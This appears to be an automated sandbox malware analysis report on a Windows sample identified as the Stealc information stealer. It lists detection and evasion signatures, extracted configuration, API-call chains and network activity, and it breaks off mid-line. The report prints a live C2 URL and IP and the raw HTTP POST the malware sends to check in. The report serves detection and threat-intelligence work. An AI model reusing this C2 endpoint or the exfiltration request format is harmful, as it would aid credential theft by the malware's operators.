Joe Sandbox Cloud Basic Analysis Report

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Windows Analysis Report
file.exe

Overview

General Information

Sample name:file.exe
Analysis ID:1523789
MD5:44397c793b2976c5571c32b11842e395
SHA1:d268ccdfb8eceb1f3ed0ccbb05f31b759528c0b7
SHA256:004cb0e8c07cc1b3f0613d1148d353c359ceffb8e2b27da445ed0eb11456b282
Tags:exeuser-Bitsight
Infos:

Detection

Stealc
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for URL or domain
Detected unpacking (changes PE section rights)
Found malware configuration
Multi AV Scanner detection for domain / URL
Suricata IDS alerts for network traffic
Yara detected Powershell download and execute
Yara detected Stealc
AI detected suspicious sample
C2 URLs / IPs found in malware configuration
Found evasive API chain (may stop execution after checking locale)
Hides threads from debuggers
Machine Learning detection for sample
PE file contains section with special chars
Searches for specific processes (likely to inject)
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Tries to detect sandboxes and other dynamic analysis tools (window names)
Tries to detect virtualization through RDTSC time measurements
Tries to evade debugger and weak emulator (self modifying code)
Checks for debuggers (devices)
Checks if the current process is being debugged
Contains capabilities to detect virtual machines
Contains functionality to create guard pages, often used to hinder reverse engineering and debugging
Contains functionality to dynamically determine API calls
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Detected potential crypto function
Entry point lies outside standard sections
Extensive use of GetProcAddress (often used to hide API calls)
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
PE file contains an invalid checksum
PE file contains sections with non-standard names
Program does not show much activity (idle)
Queries the volume information (name, serial number etc) of a device
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

  • System is w10x64
  • file.exe (PID: 7492 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 44397C793B2976C5571C32B11842E395)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
StealcStealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

SourceRuleDescriptionAuthorStrings
dump.pcapJoeSecurity_Stealc_1Yara detected StealcJoe Security

    Memory Dumps

    SourceRuleDescriptionAuthorStrings
    00000000.00000002.1701295497.0000000000E1E000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_StealcYara detected StealcJoe Security
      00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmpJoeSecurity_StealcYara detected StealcJoe Security
        00000000.00000003.1658803350.0000000004C20000.00000004.00001000.00020000.00000000.sdmpJoeSecurity_StealcYara detected StealcJoe Security
          Process Memory Space: file.exe PID: 7492JoeSecurity_PowershellDownloadAndExecuteYara detected Powershell download and executeJoe Security
            Process Memory Space: file.exe PID: 7492JoeSecurity_StealcYara detected StealcJoe Security

              Unpacked PEs

              SourceRuleDescriptionAuthorStrings
              0.2.file.exe.380000.0.unpackJoeSecurity_StealcYara detected StealcJoe Security

                Sigma Signatures

                ⊘No Sigma rule has matched

                Suricata Signatures

                TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                2024-10-02T03:10:59.743753+020020442431Malware Command and Control Activity Detected192.168.2.449730185.215.113.3780TCP

                Joe Sandbox Signatures

                Click to jump to signature section

                Show All Signature Results

                AV Detection

                barindex
                Antivirus / Scanner detection for submitted sample
                Source: file.exeAvira: detected
                Antivirus detection for URL or domain
                Source: http://185.215.113.37/URL Reputation: Label: malware
                Source: http://185.215.113.37/URL Reputation: Label: malware
                Source: http://185.215.113.37URL Reputation: Label: malware
                Source: http://185.215.113.37/e2b1563c6670f193.phpURL Reputation: Label: malware
                Found malware configuration
                Source: 0.2.file.exe.380000.0.unpackMalware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}
                Multi AV Scanner detection for domain / URL
                Source: http://185.215.113.37/e2b1563c6670f193.phpnVirustotal: Detection: 16%Perma Link
                Source: http://185.215.113.37/wsVirustotal: Detection: 16%Perma Link
                Source: http://185.215.113.37/GVirustotal: Detection: 16%Perma Link
                Source: http://185.215.113.37/e2b1563c6670f193.phpGVirustotal: Detection: 16%Perma Link
                AI detected suspicious sample
                Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
                Machine Learning detection for sample
                Source: file.exeJoe Sandbox ML: detected
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0038C820 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,0_2_0038C820
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00387240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,0_2_00387240
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00389AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,0_2_00389AC0
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00389B60 CryptUnprotectData,LocalAlloc,LocalFree,0_2_00389B60
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00398EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,0_2_00398EA0
                Source: file.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_003938B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,0_2_003938B0
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00394910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,0_2_00394910
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0038DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,0_2_0038DA80
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0038E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,0_2_0038E430
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0038ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,0_2_0038ED20
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00394570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,0_2_00394570
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0038DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,0_2_0038DE10
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0038BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,0_2_0038BE70
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0038F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,0_2_0038F6B0
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00393EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,0_2_00393EA0
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_003816D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,0_2_003816D0

                Networking

                barindex
                Suricata IDS alerts for network traffic
                Source: Network trafficSuricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49730 -> 185.215.113.37:80
                C2 URLs / IPs found in malware configuration
                Source: Malware configuration extractorURLs: http://185.215.113.37/e2b1563c6670f193.php
                Source: global trafficHTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
                Source: global trafficHTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJJJKFIIIJJJECAAEHDBHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 4a 45 43 41 41 45 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 34 44 42 35 34 43 38 38 37 34 37 33 36 32 35 36 39 38 33 39 39 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 4a 45 43 41 41 45 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 4a 45 43 41 41 45 48 44 42 2d 2d 0d 0a Data Ascii: ------KJJJKFIIIJJJECAAEHDBContent-Disposition: form-data; name="hwid"84DB54C887473625698399------KJJJKFIIIJJJECAAEHDBContent-Disposition: form-data; name="build"doma------KJJJKFIIIJJJECAAEHDB--
                Source: Joe Sandbox ViewIP Address: 185.215.113.37 185.215.113.37
                Source: Joe Sandbox ViewASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
                Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.37
                Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.37
                Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.37
                Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.37
                Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.37
                Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.37
                Source: unknownTCP traffic detected without corresponding DNS query: